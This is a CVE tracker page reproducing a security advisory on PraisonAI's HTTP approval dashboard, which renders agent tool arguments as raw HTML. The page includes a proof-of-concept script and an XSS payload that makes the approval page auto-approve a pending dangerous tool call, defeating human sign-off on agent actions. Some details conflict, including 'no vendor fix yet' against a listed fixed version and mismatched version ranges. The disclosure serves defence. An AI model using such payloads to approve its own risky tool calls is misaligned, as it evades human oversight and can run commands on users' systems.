CVE-2026-56840

HIGHPre-NVD 8.88.8
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.8 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
8.8EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 8.8Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools

HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools

Summary

praisonai.bots.HTTPApproval renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page. When a human opens the approval URL to inspect the risky tool request, the script runs in the dashboard origin and can POST to the same request's /approve/{request_id}/decide endpoint, causing HTTPApproval to return approved=True.

The local PoV uses a harmless touch /tmp/prai010 # command prefix and stops at the approval decision. It does not execute the command.

Affected Versions

Proposed affected range: >= 4.5.2, <= 4.6.57.

Validated affected:

  • current head 2f9677abb2ea68eab864ee8b6a828fd0141612e1
(v4.6.57-4-g2f9677ab)
  • v4.5.2
  • v4.5.3
  • v4.5.124
  • v4.5.126
  • v4.5.128
  • v4.6.10
  • v4.6.56
  • v4.6.57

v4.5.0 and v4.5.1 do not contain the HTTPApproval backend.

Impact

An attacker who can influence an agent task or prompt enough to produce a dangerous tool call can embed a short XSS payload in the tool argument. When the human approver opens the HTTP approval page, the script can approve the pending dangerous tool call before the human explicitly clicks Approve or Deny.

This bypasses the human-in-the-loop approval boundary for dangerous tools such as execute_command, execute_code, delete_file, or other tools gated through HTTPApproval. If the agent continues after approval, the dangerous tool runs with the privileges of the PraisonAI process.

Why This Is Not Intended Behavior

PraisonAI documentation describes approval as a safety control that pauses an agent before risky tools and asks a human or configured channel to allow or deny execution. The documentation also lists http as a supported non-console approval backend.

Opening the approval page to inspect a risky command should not itself approve the command. The current behavior allows attacker-controlled tool arguments to execute script in the approval page and submit the approval action.

This is distinct from the previously published stored-XSS advisory for agent output rendering. That advisory concerned src/praisonai/api.py and missing nh3 sanitization in older versions. This report concerns the HTTPApproval dashboard sink and remains present in current head.

Root Cause

In src/praisonai/praisonai/bots/_http_approval.py, _build_html() builds the approval page with raw f-string interpolation:

  • argument keys and values are appended to args_html without HTML escaping;
  • tool_name, risk_level, and agent_name are also interpolated into the
returned HTML;
  • the generated page contains same-origin JavaScript that posts to
/approve/{request_id}/decide.

_handle_decide() accepts JSON from that endpoint and marks the pending request approved when decision == "approve".

Because the approval page is generated from the pending request's unescaped tool arguments, an injected script can call the same endpoint that the legitimate Approve button uses. The request id is unguessable, but the script runs inside the loaded approval page and can derive the endpoint from location.pathname.

Reproduction

The PoV is local-only and does not execute the dangerous tool command. Run it from a PraisonAI checkout or environment where praisonai and praisonaiagents import from the candidate version.

import asyncio
import json
import socket

import aiohttp from praisonai.bots._http_approval import HTTPApproval from praisonaiagents.approval.protocols import ApprovalRequest

def free_port(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.bind(("127.0.0.1", 0)) return sock.getsockname()[1]

payload = ( "touch /tmp/prai010 # " "" "fetch(location.pathname+'/decide',{" "method:'POST',headers:{'Content-Type':'application/json'}," "body:'{\"decision\":\"approve\"}'})" "" )

async def main(): backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5) request = ApprovalRequest( tool_name="execute_command", arguments={"command": payload}, risk_level="critical", agent_name="pov-agent", ) task = asyncio.create_task(backend.request_approval(request))

request_id = "" for _ in range(100): if backend._pending: request_id = next(iter(backend._pending)) break await asyncio.sleep(0.05) assert request_id

url = f"http://127.0.0.1:{backend._port}/approve/{request_id}" async with aiohttp.ClientSession() as session: async with session.get(url) as response: page = await response.text() raw_script_present = "fetch(location.pathname+'/decide'" in page script_not_html_escaped = "&lt;script" not in page payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page payload_not_truncated = "..." not in page[ page.find(""):page.find("") + len(payload) + 10 ] assert raw_script_present assert script_not_html_escaped assert payload_not_truncated

# Same request the injected same-origin script submits. async with session.post(f"{url}/decide", json={"decision": "approve"}) as response: post_body = await response.text()

decision = await task await backend.shutdown() print(json.dumps({ "payload_len": len(payload), "payload_shell_prefix": "touch /tmp/prai010", "raw_script_present": raw_script_present, "script_not_html_escaped": script_not_html_escaped, "payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint, "payload_not_truncated": payload_not_truncated, "post_body": post_body, "decision_approved": decision.approved, "decision_reason": decision.reason, "vulnerable": bool( raw_script_present and script_not_html_escaped and payload_uses_same_origin_decide_endpoint and payload_not_truncated and decision.approved ), }, indent=2))

asyncio.run(main())

Expected affected output includes:

{
  "payload_len": 175,
  "payload_shell_prefix": "touch /tmp/prai010",
  "raw_script_present": true,
  "script_not_html_escaped": true,
  "payload_uses_same_origin_decide_endpoint": true,
  "payload_not_truncated": true,
  "decision_approved": true,
  "vulnerable": true
}

The relevant injected argument shape is:

touch /tmp/prai010 # fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})

The shell prefix demonstrates that the same argument can be executable shell syntax after approval; the PoV stops before executing the tool.

Suggested Fix

Escape every untrusted value before inserting it into the approval HTML:

  • tool_name
  • risk_level
  • agent_name
  • every argument key
  • every argument value

For example, use html.escape(str(value), quote=True) or a template engine that auto-escapes by default. Add regression tests that include ... in tool arguments and assert that the rendered page contains escaped text, not a script element.

Minimal patch shape:

from html import escape

def h(value: object) -> str: return escape(str(value), quote=True)

tool_name = h(info.get("tool_name", "unknown")) risk_level = h(info.get("risk_level", "unknown")) agent_name = h(info.get("agent_name", ""))

args_html = "" for k, v in arguments.items(): val_str = str(v) if len(val_str) > 200: val_str = val_str[:197] + "..." args_html += ( f"{h(k)}" f"{h(val_str)}" )

Additional hardening:

  • avoid inline JavaScript and add a restrictive Content Security Policy;
  • keep the request id as an unguessable capability, but do not rely on it as an
XSS defense;
  • consider requiring a per-request decision token outside attacker-controlled
rendered argument fields.

CVSS v3
8.8
EG Score
8.8(low)
EG Risk
44(Track)
EG Risk 44/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity88% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

June 18, 2026

Last Modified

June 18, 2026

Vendor Advisories for CVE-2026-56840(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
praisonai4.5.10 ... 4.6.9 (176 versions)4.6.59

Data Freshness Timeline

(refreshed 3× in last 7d / 3× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-26 18:46 UTCEG score recompute
  2. 2026-07-23 03:20 UTCEG score recompute
  3. 2026-07-20 21:34 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-56840?
CVE-2026-56840 is a high vulnerability published on June 18, 2026. PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools Summary praisonai.bots.HTTPApproval renders pending tool…
When was CVE-2026-56840 disclosed?
CVE-2026-56840 was first published in the National Vulnerability Database on June 18, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-56840?
CVE-2026-56840 has a CVSS v4.0 base score of 8.8 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-56840?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-56840, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-56840

Explore →

Is Your Infrastructure Affected by CVE-2026-56840?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.